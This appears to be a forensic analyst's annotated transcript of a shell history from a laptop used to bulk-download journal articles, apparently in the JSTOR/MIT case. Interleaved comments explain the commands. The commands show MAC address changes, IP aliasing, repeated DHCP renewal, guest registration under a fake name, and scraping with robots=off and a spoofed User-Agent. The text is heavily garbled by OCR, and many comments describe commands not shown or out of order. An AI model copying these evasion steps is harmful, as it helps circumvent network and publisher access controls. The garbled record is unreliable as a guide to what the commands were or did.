/etc/init.d/ez-ipupdate restart
sudo /etc/init.d/ez-ipupdate restart
dig ghost-laptop.dyndns-free.com
ing 4.2.2.2
sudo dhclient
ing 4.2.2.2
ping www.yahoo.com
route
curl www.yahoo.com
ssh ghost-laptop.dyndns-free.com
/sbin/ifconfig -a
ssh 18.111.48.33
curl www.yahoo.com
sudo dhclient eth0

# This indicates the attachment of removable media to the computer. The removable media is given the unique ID listed.

ls
ls | grep a.jp
ls | grep -v oxford
cd /vol

ls
cd www.genome.org/content/1/3/
ls
cd /media/bce820aa-a03b-4556-bfa6-eff2d9eb665e/
more pdfs/2520824.pdf
more pdfs/25208234.pdf
ls -l pdfs/25208234.pdf
ls -Ul pdfs | head
python
ps ax | grep python
ps ax | grep ls
sudo kill 8185
sudo kill -9 8185
fg
cd b1
cd blocks/
ls
cd done/
ls | less
ls | head
more allpd000000009
more allpd000000009
more allpd000000009
ls | tail
more tograb-aaggu
ls | less
ls | grep -v pd | less
ls | grep blk | tail

# The previous commands indicate the listing of the contents of the previously identified removable media device with the unique volume ID listed. The 'more' command provides a scrollable view of file contents in the console.

cd
python

# The 'ln' command combined with the `-s` switch is used to create a symbolic link (equivalent to a "shortcut" on Windows), to make the removable media device accessible on the system as `/media/drive`

fg
ls /media/drive/pdfs*
c
/w
/sbin/ifconfig -a
/sbin/ifconfig -a
sudo /etc/init.d/ez-upupdate restart

# Indicates attempts to remotely access computers at the IP addresses 10.189.61.53 and 18.111.48.33
via the SSH protocol. The first IP address is in a range of private addresses that would not be routed across the Internet.

ls
more failedandneedtograd

cat failedandneedtograd | sed -e 's/.pdf/\n' | sort -u | head

cat failedandneedtograd | sed -e 's/.pdf/\n' | sort -u > failed-partial-clean

head failed-partial-clean > blocks/testfailed
/sbin/ifconfig -a

curl --interface wlan0 www.yahoo.com

route
ping 18.111.31.1

wc -l failedandneedtograd

sudo apt-get install autossh

sudo apt-get update

man ssh

ps ax | grep dhclient

kill 7937

sudo kill 7937

sudo kill 8001

sudo kill 8281

ps ax | grep dhclient

ps ax | grep netwo

ps ax | grep Netw

sudo kill 730

ps ax | grep Netw

ps axf

/etc/init.d/network-manager stop

sudo /etc/init.d/network-manager stop

ps ax

ps ax | grep dhcl

sudo kill 8839

ps ax

/sbin/ifconfig -a

# The preceding lines indicate that the dyndns IP update configuration file was opened in the text editing program emacs. Then the dyndns IP update service was restarted and the DNS records for
ls
screen -x
w
who am i
wc -l failed-clean
screen -x
ls
cat failedandneedtograd | sed -e 's/\./pdf/\n' | sort -u > failed-partial-clean
wc -l failedandneedtograd
cat failedandneedtograd | sed -e 's/\./pdf/\n' | sort -u > failed-clean
rm failed-partial-clean
more failed-clean
cd blocks/done
ls | less
less blk000000000020
wc -l blk000000000020
cd ..
split --help
split -a 5 -l 1000 failed-clean blocks.blkfail
df -h
screen -x
screen -x
who am i
cd uml
python
cd uml
grep 797854 *
grep 801899 *
lsls
more 900.html
grep 1978790241 *
screen -r
screen -x
links
ls
screen -x
ls blocks
ls
rm failedendnedtograd
rm failed-clean
python
ls
mv pdf2size.dbm pdf2size-js3.dbm
g
more stilltogradx
split --help
split -a 5 -l 100 stilltogradx blocks/stillblk
ls blocks
g
cd /media/drive/pdfs
more 3590725.pdf
less 3697690.pdf
cd /media/drive/pdfs
more 3590725.pdf
less 3697690.pdf
ls
ls umi/saneurl.py
more /vol/umi/107885.html
links /vol/umi/107885.html
links /vol/umi/107794.html
# The previous links and curl commands indicate attempts to access or retrieve files from the specified URLs

```bash
ping www.jstor.org
curl www.jstor.org
ls
screen -x
df -h
screen -r
cd /media/drive/jsindex/
ls
rm *
ls
ls
cd 1923
ls
more 00800.html
python
cd .
ls
python
more 1923/06700.html
fa
ls blocks
df -h
```

# Indicates the removal of the removable media device with the unique ID specified from the file system

```bash
ping 4.2.2.2
/sbin/ifconfig -a
/sbin/ifconfig -a | less
ls
```
/bin/sls pdfs | head
./sls pdfs | head
cd pdfs
../sls | xargs -i mv {} /vol/pdfs/
../sls | xargs -i mv {} /vol/pdfs/
ls
cd..
rmdir pdfs
more deleteandgrab
ls
ls -l

# 'tail' and 'more' are commands to view the partial content of a file in the console. The file pdfs3.sls on the Acer computer contains a listing of files with the '.pdf' extension.

ls#

# The file js3.1slr contains a recursive file listing of the '/vol/' directory on the Acer computer

fg
ls
ls -lh pdf2size-ja4.dbm
wc -l js3.1slr
python
split -a 5 -l 100 30mblocks blocks/grp30m
cd /vol/jsindex/
python
cd /media/dr
cd /media/drive/
~/keepgrabbing.py
fg
more /media/drive/4478605.pdf
more /media/drive/pdfs/4478605.pdf

# These two commands would fetch the web page from the site protect.theinfo.org. The domain theinfo.org is registered to Aaron Swartz. (See box below.)
[Querying whois.publicinterestregistry.net]

Domain ID:D11437182-LROR
Domain Name:THEINFG.ORG
Creation Date:15-Dec-1999 04:25:45 UTC
Last Updated Date:10-May-2010 08:13:01 UTC
Expiration Date:13-Dec-2011 04:25:45 UTC
Sponsoring Registrar:Name.com, LLC (X1289-LROR)
Status:OK
Registrant ID:04946530-Gandi
Registrant Name:Info Networks
Registrant Organization:Info Networks
Registrant Street1:340 Hahnsman
Registrant Street2:
Registrant Street3:
Registrant City:Highland Park
Registrant State/Province:IL
Registrant Postal Code:60035
Registrant Country:US
Registrant Phone:+1.8442238887
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:sm@marcone.com
Admin ID:AS898-GANDI
Admin Name:Aaron Smarts
Admin Street1:340 Hahnsman
Admin Street2:
Admin Street3:
Admin City:Highland Park
Admin State/Province:IL
Admin Postal Code:60035
Admin Country:US
Admin Phone:+1.8442238887

df
ps ax | grep part
ps ax
cd /media/
ls

# The previous commands indicate the mounting of an additional drive on the computer. Based on the commands identified the drive appears to have a Reiser File System
df
df -h
od drive2
ls
ls -a
mkdir pdfs
sudo mkdir pdfs
sudo chmod ghost pdfs
cd /vol
ls -l
cd ..
ls -l
rm vol
sudo rm vol

screen -r
screen -x
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a|less
dhcclient
sudo dhcclient
sudo ifdown eth0:1
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a|less
ping 4.2.2.2
cat /etc/resolv
cat /etc/resolv.conf
ping 10.72.0.47
ping 10.72.0.47
ping 4.2.2.2
sudo ifconfig down eth0:1
sudo ifconfig eth0:1 down
/sbin/ifconfig -a|less
sleep 600 & & bell

and was mounted in the directory
/media/drive2

#This indicates a symbolic link to the
directory named /vol and the
filesystem mounted on
/media/drive2
```bash
bg

dhcclient
sudo dhcclient
df -h
sudo umount /dev/sdfl
fg
df

ps ax | grep dhcclie
sudo kill 31696
/sbin/ifconfig -a | less
screen -x
gnome-screensaver
gnome-screensaver-command --lock
gnome-lock-screen
gnome-screensaver-lock
xscreen -lock
gnome-screensaver-command --lock
gnome-screensaver
screen -x
df
cd /media/
lsls

df

# The previous highlighted commands indicate the
# mounting of additional media on the Acer computer

ls
/sbin/ifconfig -a
ls
/sbin/ifconfig -a > mac
fg
man ifconfig
/sbin/ifconfig -a | grep ether
/sbin/ifconfig eth0
```
sudo ifdown eth0

# The previous highlighted commands indicate the modification of the MAC address of the wired network connection (eth0)
sudo ifconfig eth0 up
dhcclient
dhcclient
sudo dhclient -r
cd /mnt/
ls
df
cd /media/be820ea-a03b-fd56-bf86-eff2d9eb652a/
lsls

# The previous commands indicate the creation of a symbolic link for the device with the unique ID listed to the directory '/vol'
cd /vol
ls
df
ifconfig
sudo dhclient -r
sudo dhclient
ls
cd
ls
screen -r
ls blocks/|wc -l
screen
screen -r
screen -x
wc -l urlstograb.wget
df -h | media
df -h | grep media
wc -l urlstograb.wget
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
LS
df
w
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ks blocks/|wc -l
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
ls /mnt
ls /vol

# The previous commands would filter the content of the file 'urlstograb.wget', removing lines that contained any of the text strings that follow the 'grep -v' command. (Removing, for example, lines that contained "oxford", "dukefo", etc.)
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
df -h | grep media
ls blocks/|wc -l
ping google.com
/sbin/ifconfig -a
/sbin/ifconfig -a|less
df
umount /media/drive
cd /media/drive/
ls
df -h
ls

# These commands are used to dismount the device '/dev/sde1' from the Acer computer
/sbin/ifconfig -a|less
df -h | grep drive2
ls blocks/ | wc -l
cd
ls blocks/ | wc -l
df -h | grep drive2
/sbin/ifconfig -a
/sbin/ifconfig -a
curl --interface eth0:1 www.jstor.org
curl --interface eth0 www.jstor.org
curl --interface eth0 www.jstor.org
curl --interface eth0:1 www.jstor.org
curl --interface eth0:1 www.jstor.org
/sbin/ifconfig -a

# The previous highlighted commands indicate attempts to establish a static IP address on an alias network interface for the wired network connection (eth0)

s blocks/ | wc -l
ping 4.2.2.2
cd vol
cd /vol
~/keepgrabbing.py
fg
cd ..
ls vol
ls -l vol
rm vol
sudo rm vol
sudo ln -s /media/drive /vol
cd /vol
~/keepgrabbing.py
a
~/keepgrabbing.py
cd
~
cd vol
~
cd
ls
mkdir tomove
cd tomove
mkdir pdfs
~
emacs ~/keepgrabbing.py
~
emacs ~/keepgrabbing.py

# This command indicates the creation of a symbolic link for a removal media device with the unique ID listed to name '/vol'

cd /vol
~
cd ./vol

cd
~
ls
~
links www.jstor.org
dhc\client
/sbin/ifconfig -a
ifconfig up eth0:1 18.65.6.251
ifconfig --help | less[A
ifconfig --help

/sbin/ifconfig -a
ping --help | less
ping -I eth0:1 www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a
/sbin/ifconfig -a

RIF
1994
ping -I eth0:1 www.google.com
ping -I 18.55.6.241 www.google.com
curl --interface eth0:1 www.google.com
curl --interface eth0:1 www.jstor.org
curl --help | less
/sbin/ifconfig -a

curl --interface eth0:1 www.jstor.org

# The previous highlighted commands indicate attempts to establish a static IP address on an alias interface for the wired network connection (eth0)

curl --interface eth0:1 www.jstor.org
curl --interface eth0:1 www.jstor.org/x
ls
emacs keepgrabbing.py
cd tomove/pdfs/
lst | wc -l
mv */vol/pdfs
ls
cd..
l
mkdir umi
cd umi

# The previous commands use 'curl' to retrieve pages from the website 'proquest.umi.com' and save the data to a file (in this case 0.html and 50.html)
# curlcommands.py is a file on the Acer computer that will generate a shell script that contains curl commands to retrieve resources from the website 'proquest.uml.com'. curlcommands.sh is the shell script produced, consisting of a series of curl retrieval requests that will be run sequentially.

```bash
more 1100
more 1100.html
lynx -dump 1100.html
links 1100.html
python
cat > saneurl.py
fg
is /media
fg
mkdir /media/drive/umi
fg
curl -i http://proquest.uml.com/pqdweb
fg
is /media/drive/umi
more /media/drive/umi/2073772711.pdf
more /media/drive/umi/2073772711.pdf
more /media/drive/umi/2073772711.html
more /media/drive/umi/2073772711.pdf
fg
cd /vol
~/keepgrabbing.py
cd ..
cd vol
~/keepgrabbing.py
fg
```
~/keepgrabbng.py

cd ..
cd vol
ls

#/keepgrabbng.py
ls
df -h

pwd
cd ..
cd vol

#/keepgrabbng.py

µs /media
ls

cd 3eab9fe1-9c54-43b1-9374-72722d78d3c0/
ls
df -h

# This command will shutdown the
computer immediately

cd /media/de

cd /media/drive/

mkdir jsindex

sudo mkdir jsindex

sudo chown ghost jsindex

cd jsindex

python

lm

fg

more 2010/0800.html

µs 1989

µs

cd /vol/

µs

µs jsindex/1989

µs

µs -l | less

µs -l | teil

µs .. /1990

µs -l | less
python
python /usr/bin/easy_install
sudo easy_install --install-dir /usr/lib/python2.6/ pyoai
PYTHONPATH=/usr/lib/python2.6 sudo easy_install --install-dir
/usr/lib/python2.6/ pyoai
sudo easy_install --install-dir /usr/lib/python2.6/site-packages/ pyoai
sudo PYTHONPATH=/usr/lib/python2.6/site-packages easy_install --install-dir
/usr/lib/python2.6/site-packages/ pyoai
cd /usr/local/lib/python2.6/
l s -a
c d dist-packages/
l s -a
r m *
sudo rm *
sudo rm -rf *
sudo easy_install pyoai
python
l s
python
c d
l s blocks/| wc -l
f g
p s a x | grep keep
p s a x | grep ser
f g %1
f g 0
f g
k i l l 2 1 3 7
k i l l 2 1 3 8
p s a x | grep keep
python serveblocks.py 8092
f g
python serveblocks.py 8092
e macs serveblocks.py
python serveblocks.py 8092
e macs serveblocks.py
python serveblocks.py 8092
e macs serveblocks.py
python serveblocks.py 8092
e macs serveblocks.py
python serveblocks.py 8092
kill %1
fg
python serveblocks.py 8092
kill %1
fg
python serveblocks.py 8092
fg
cd /media/drive/
~/keepgrabbing.py
df -h
df -h|grep sdd: date
du -hsc /vol/*
dm /vol/urlstograb2.wget
# The 'rm' command is used to remove file(s) from the file system
mv urlstograb* muse
wc -l urlstograb.wget
emacs osigrab.py
emacs osigrab.py
ls
emacs osigrab.py
fg
emacs osigrab.py

# The previous commands indicate the execution of the python script 'osigrab.py' with the results saved to the file 'urlstograb.wget'

fg
cd /vol

# The 'wget' command is used to non-interactively retrieve files from the network.
# In this case the use of the '-i' switch will read all the URLs listed in the file 'urlstograb.wget' and retrieve content.
mkdir sd
cd sd
wget -m -np
"http://www.sciencedirect.com/science/page/sitemap/index.html"
wget --header="User-Agent: WL/6" -m -np
"http://www.sciencedirect.com/science/page/sitemap/index.html"
wget --header="User-Agent: WL/6" -m -np
"http://www.sciencedirect.com/science/page/sitemap/index.html"
wget -e robots=off --header="User-Agent: WL/6" -m -np
ls
cd www.sciencedirect.com/science/page/sitemap/publication/
ls
cd serial/
ls
cd journals/
lsl
emacs ~/sls
chmod +x ~/sls
~/sls | less
~/sls . | less
more 17509467.html
ls 0242646X
ls 0242646X/24
ls 0242646X/24/3
more 0242646X/24/3/243.html
python
fg
mkdir /vol/sd/jo
fg
cd
fg
python
ls
cd umi
ls
python
fg
more keepgrabbing.py
cd /vol/
ls
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
cd pdfs/
~/keepgrabbing.py
cd ..
~/keepgrabbing.py
fg
~/keepgrabbing.py
dids
fg
python
pwd
ls
cd ~/umi
python
fg
python
ls 1000000.html
fg
more 128214.html
more 128213
less 128204.html
less /vol/umi/128204.html
links /vol/umi/128204.html
python
ls -lh
ls blocks | wc -l
python
ls *dbm
fg
ls
more deleteandgrab
split -a 5 -l 1000 deleteandgrab blocks/regrabc
ls blocks/|wc -l
cd blocks/
ls | less
ls | tail
cd ..
fg
ls /mnt
df
ls /media/drive
fg
ls

# The 'rm' command is used to remove file(s) from the filesystem

curl "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CF
OKEN=55059171"
curl -i "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CF
OKEN=55059171"
curl -i "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf" | less
ls
more serveblocks.py
emacs serveblocks.py
more keepgrabbing.py
ls /vol
~/sles /vol/umi > umi.sls
more umi.sls
~/sles /vol/umi > umi.sls
~/sles /vol/pdfs > pdfs3.sls
more js3.lslR

# Commands to print a file listing for the directory '/vol/' to a file named 'js3.lslR'

more js3.lslR
wc -l js3.lslR

# The echo command is being used to read the value 'me@aaronsw.com' and generate an MDS of that string. This is a common method of generating or identifying a password.

df
ps ax
df
mount /dev/sda/vol
cd /vol
ls
cd /media/
ls
ls -l
rm drive
sudo rm drive
sudo mkdir drive
sudo mount /dev/sde drive
sudo mount /dev/sdel drive
cd drive
ls
df
fd -h
df -h
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
ls
~/keepgrabbing.py
cd /media/drive/pdfs

# less and more are commands for reading a portion of a file to the console a screen at a time.

cd
~/keepgrabbing.py
g
ls
cd pdfs
ls
df -h
cd /vol/
~/keepgrabbing.py
cd..
cd vol
~/keepgrabbing.py
Preface and caveats

1) The .bash_history file records, per user, commands and keystrokes entered into the BASH shell terminal, which was the shell used on the Acer computer.

2) The .bash_history file is a plain text file with no safeguards that protect it from modification. It can be edited and deleted by the user.

3) The file contains no internal timestamps for the commands and keystrokes recorded, although they do occur in chronological order.

4) The .bash_history file does not contain the results of commands or the screen output of programs executed from the shell.

5) At some points we see reference to the 'screen' command, which is used to invoke another, detachable command shell. Commands and keystrokes entered in a shell so invoked may not appear in the .bash_history file.

```bash
cat .bash_history
rm .bash_history
screen -x
uptime
df -h

# these 2 lines perform a file listing on the /mnt/pdfs directory and pipe the results through word-count (wc) to get a total number of files in that directory

df -h

screen -x

cat .bash_history
ls
cat .ssh/known_hosts
whois ygl.as
uptime

# The previous lines utilize two command-line methods (curl and links) for retrieving content from the JSTOR website

ls

# This line indicates the links command above may have retrieved the file

RIF 1965
```
screen -r
screen -x
curl jstor.org

curl -i www.jstor.org

curl -i www.jstor.org

# This command disables the wireless networking interface

sudo dhclient -re
sudo dhclient -r

# This command enables the wired networking interface

sudo dhclient
curl -i www.jstor.org
curl scripting.com
/sbin/ifconfig -a
curl scripting.com
ping 4.2.2.2
cat /etc/resolv.conf
sudo dhclient -r
sudo dhclient
ping 4.2.2.2
cat /etc/resolv.conf
curl scripting.com
curl www.google.com
curl -i www.jstor.org
/sbin/ifconfig -a

# Indicates an attempt with the utility "ping" to test connectivity to the IP registered to ghost-laptop.dyndns-free.com. The dyndns DNS service is commonly used to assign a fixed DNS entry for computers that are assigned dynamic IP addresses. When the computer’s IP address changes, it updates the associated DNS record at dyndns to point to the new IP.

ps ax | grep ip
# These commands show the user examining and testing the configuration of the utility (ez-ipupdate) that updates the system's dyndns record. The ez-ipupdate default.conf file contains information related to the dyndns account used.

ls /mnt/ | wc -l
cd /mnt
ls
ps ax | grep touch
ps ax | grep seq
touch 1
ls
touch 2
seq 1 20
seq 1 20 | xargs touch
ls | wc -l
seq 1 2000000 | xargs touch
ls | wc -l
ls | less
ls | wc -l
ps ax | grep bash
w
who am i
kill 3658
kill -9 3658
mkdir pdfs
cd pdfs
~/keepgrabbing.py

~/keepgrabbing.py
touch foo
rm foo
cd ..
~/keepgrabbing.py
cd /mnt
ls
rm *
ls
cd pdfs
ls
cd
ls

# This indicates the running of the python script serveblocks.py. The added command line variable '8092' appears to indicate which port to run the web application on in serveblocks.py. Port 8092 is also referenced in URLOpen function in the keepgrabbing.py python script.

kill 2461
ps ax | grep serve
python serveblocks.py 8092
bg

# The ps command is used to list running processes. Combined with the grep (string search) command, this will list any processes that contain the characters 'serve', including serveblocks.py
ls /mnt
ls /mnt/pdfs
ls -l /mnt/pdfs/
cd
gnome-screensaver-command --activate
ls
ps ax | grep curl
kill 19047
curl www.jstor.org
dhclient --help
sudo dhclient

# The command bwm-ng is used to execute a command line network bandwidth monitoring tool

ls blocks/ | wc -l
df -h
links www.jstor.org/stable/873098
bwm-ng
gnome-screensaver-command --activate

# The ls command in this instance lists the files in the "blocks/" directory. Piped through the wc (word-count) command, it counts the files in that directory

bwm-ng
ls blocks/ | wc -l
uptime
bwm-ng
df -h
ls blocks | wc -l
bwm-ng
sudo umount /mnt
df
screen -x

# Starts the keepgrabbing.py python script

cd /mnt/
~/keepgrabbing.py
fg
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
0
cd /mnt/
```python
~/keepgrabbing.py
g; ~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
g
~/keepgrabbing.py
g
~/keepgrabbing.py
g
~/keepgrabbing.py
g
~/keepgrabbing.py
g
~/keepgrabbing.py
g
~/keepgrabbing.py
g
~/keepgrabbing.py
cd /mnt
~/keepgrabbing.py
g
~/keepgrabbing.py
g
~/keepgrabbing.py
g
~/keepgrabbing.py
g
~/keepgrabbing.py
g
~/keepgrabbing.py
```

RIF 1970
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
bg
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/k
~/keepgrabbing.py
cd /mnt
~/keepgrabbing.py
cd /mnt
~/keepgrabbing.py
~/keepgrabbing.py
cd /mt
cd /mnt/
cd /mt
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
screen -r
screen -x
uptime

# Checks how much free space is available on mounted volumes

screen -r
screen -x
e
uptime
bwm-ng
df -h
screen -x
ps ax | grep curl
ps ax | grep keepgr | awk '{print $1}' | xargs kill
ps ax | grep curl
ps ax | grep gr
ps ax | grep curl
df -h
/sbin/ifconfig -a

# Indicates the configuration of the static IP address 18.55.7.49 to an aliased interface on the wired network connection eth0

curl --interface eth0:1 www.jstor.org
curl --interface eth0:1 www.google.org

# rsync is a file copying tool. In this case it is being used to copy the contents of the 'pdfs/' directory to a folder named '/vol/pdfs' on another computer, accessed through the dyndns registered record for 'ghost-macbook'. The 'a' switch selects a number of options – most notably recursive copying of subdirectories, the 'v' switch indicates verbose output of the file copying process to the console, and the 'z' switch indicates the use of the compression in the file transfer.

screen -r
screen -x
python
python
easy_install --help
easy_install --help|less

python

cd /usr/local/lib/python2.6/
ls
ls site-packages/

# The previously highlighted items reflect efforts to install python modules on the computer and verify their installation through the 'locate' command, which lists all the locations where the specified files are located on the file system

cd /usr/lib/python
ls
ls -a

cd ../python2.6
ls
easy_install --help
easy_install --help|less

python serveblocks.py
python serveblocks.py 8092
bg

# Indicates attempts to release and renew the DHCP-assigned network address for the computer

ping 4.2.2.2
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sleep 60
sudo dhclient -r
sudo dhclient
cd /vol/
ls -l
ls -lh pdfs
easy_install pyoai

# Indicates the installation of the package python-setuptools. Apt-get is a tool in the Ubuntu operating system to download Ubuntu software packages.

cd /vol/pdfs/
ls
ls | less

# The previous commands are associated with the configuration and testing of connectivity to the Acer computer, which is registered as 'ghost-laptop' with dyndns-free.com. The command ez-ipupdate and the associated default.conf file are used to update the computer's record with dyndns.
# Indicates the execution of the Python script oalgrab.py. The script residing on the Acer system reads Open Archive Initiative Metadata (see separate analysis of this script).

more 17.3
more 17.3dutton.html
man wget

# The previous highlighted items show the user traversing and listing the contents of the /vol directory and subdirectories. The ‘du’ command is used to list the disk space usage on a volume.

bwm-ng
ls -lh urlstograd.wget

# This command is searching for the term ‘pdf’ in the file urlstograd.wget

screen -x
man wget
cd /vol/
ls

sudo chown ghost .

# The wget commands highlighted are a method of non-interactively downloading web resources. The URLs requested are retrieved from the file urlstograd.wget

screen -x
emacs oalgrab.py
sudo apt-get install emacs23-nox
emacs oalgrab.py

# This indicates the execution of the python script 'oalgrab.py'. The output of the 'oalgrab.py' script is then piped through the tee command, which outputs the results of oalgrab.py both to the screen for monitoring and to the file named urlstograb.wget

wc -l urlstograb.wget

# The second of these two lines would overwrite the output of the first. So, only looking at the second, it would output all occurrences of the string "pdf" in the file urlstograb.wget file, replace "pdf" with "html" and write the resulting line into urlstograb2.wget. (The first operation performed the inverse substitution.)

more urlstograb
more urlstograb2.wget

# The 'wget' command is used to non-interactively retrieve files from the network. In this case the use of the '-i' switch will read all the URLs listed in the file 'urlstograb.wget' and retrieve content.

grep html urlstograb.wget | sed -e 's/html/pdf/' >> urlstograb2.wget
cd

grep html urlstograb.wget | sed -e 's/html/pdf/' >> urlstograb2.wget
cd /vol
wget -nv -x -nc -i ~/urlstograb2.wget
curl muse.jhu.edu/f
links muse.jhu.edu
screen -x
cd /media/noname/
ls
cp tograb.log /home/ghost/
cd
cd
cd blocks/
ls | wc -l
cd ..
ls

# File named tograb.log is moved to the 'blocks/' directory and then, after multiple attempts, split every 100 lines into a collection of files with the same prefix 'tograd-

ls tograb *
w -l
ls | wc -l
mv tograb.log ..
sudo dhclient --release
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo /etc/init.d/ez-ipupdate restart
ping ghost-laptop.dyndns-free.com
/sbin/ifconfig -a | less
ping ghost-laptop.dyndns-free.com
screen -x
sudo ifconfig eth0 up
/sbin/ifconfig -a
sudo dhclient

cat logininfo
# The Curl commands listed above show attempts
to retrieve the URL '/bin/dynareg?class=visitor'
from the sites 'nic.mit.edu' and '10.72.0.47' on port
444.

ping -h
ping -I eth0 10.72.0.47
/sbin/ifconfig -a
ping -I eth0 4.2.2.2
man ping
ping -I 10.2.55.120 4.2.2.2
/sbin/ifconfig -a | less
sudo ping -I 10.2.55.120 4.2.2.2
sudo ping -I wlan0 4.2.2.2
sudo ping -I eth0 4.2.2.2
ping -I eth0 4.2.2.2
sudo ping -I eth0 4.
sudo ping -I eth0 10.72.0.47
sudo curl --interface eth0 10.72.0.47
man curl
sudo curl --interface 10.2.55.120 10.72.0.47
route
/sbin/ifconfig -a

# These commands indicate the addition of the
IP address 18.2.55.1 as a default
gateway to the network routing table on the
Acer computer

sudo ping -I eth0 10.72.0.47
echo "sudo route add default gw 18.2.55.1" >> logininfo
sudo curl --interface 10.2.55.120 10.72.0.47
curl --interface eth0 10.72.0.47
curl --interface eth0 https://10.72.0.47:444/bin/dynareg?class=visitor
curl -k --interface eth0
https://10.72.0.47:444/bin/dynareg?class=visitor
curl -d "class=visitor" -k --interface eth0
https://10.72.0.47:444/bin/dynareg
curl -d "class=visitor&actio=Register" -k --interface eth0
https://10.72.0.47:444/bin/dynareg
# This Curl command used with the `-d` switch indicates submission of data to the URL https://10.72.0.47:444/bin/dynareg. Based on the contents of the command, the user would be attempting to submit a computer or user name (Grace Host) and email address (ghost42@mailinator.com) to the registration form at the URL listed above.

```
echo 'curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&action=Register&class=visitor" -k --interface eth0 https://10.72.0.47:444/bin/dynareg' > logininfo
curl --interface eth0 10.72.0.47
sudo dhclient eth0
sleep 600; sudo dhclient eth0
route
curl --interface wlan0 www.yahoo.com
curl --interface wlan0 4.2.2.2
sleep 600; sudo dhclient eth0
sudo dhclient eth0
sudo ping -I eth0 10.72.0.47
sudo ping -I wlan0 4.2.2.2
sudo ping -I eth0 4.2.2.2
man route
dnsp

dig www.yahoo.com
dig www.yahoo.com|grep "IN"
dig www.yahoo.com|grep "IN" | grep 10.72
echo 'dig www.yahoo.com|grep "IN" | grep 10.72' > logininfo
/sbin/ifconfig -a
/sbin/ifconfig -a|grep en
emacs logininfo
ping www.yahoo.com
sudo dhclient
dig www.yahoo.com
emacs logininfo
emacs /etc/ez-ipupdate/default.conf
/sbin/ifconfig -a
sudo emacs /etc/ez-ipupdate/default.conf
/etc/init.d/ez-ipupdate restart
sudo /etc/init.d/ez-ipupdate restart
dig

cat /etc/resolv.c
cat /etc/resolv.conf
dig www.yahoo.cvom
dig www.yahoo.com
links --help
links --help|grep inerf
links --help|grep interf
lynx
curl --interface eth0 www.yahoo.com
dig @10.2.55.7 www.yahoo.com
dig @10.2.55.2 www.yahoo.com
sudo dhclient
cat /etc/resolv.conf
sudo dhclient
cat /etc/resolv.conf
ping 10.72.0.47
dig @10.72.0.47 www.google.com
gnome-screensaver-
df
ping www.yahoo.com
echo 10.72.0.47>> logininfo

# These commands reflect changing the MAC address on the wired network interface (eth0) to 00:4c:e5:a0:c7:56

# dig is a command to query domain name servers and gather information from Domain Name Server (DNS) lookups
dig --help
host --help
dig ns x.dyndns-free.com
dig @ns1.dyndns.org ghost-laptop.dyndns-free.org
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
/sbin/ifconfig -a

# The SSH commands indicate attempts to remotely access the computer ghost-laptop through dyndns-free. SSH stands for Secure Shell and is a method of accessing a remote computer through an encrypted channel.

ssh --help | grep interf
man ssh
sudo ifconfig eth0 down
ssh ghost-laptop.dyndns-free.com
sudo curl --interface eth0 10.72.0.47
route
ssh ghost-laptop.dyndns-free.com
ping www.yahoo.com
/sbin/ifconfig -a
ssh 10.189.76.179
sudo dhclient eth0
sudo dhclient eth0
route
man route
route
sudo dhclient eth0

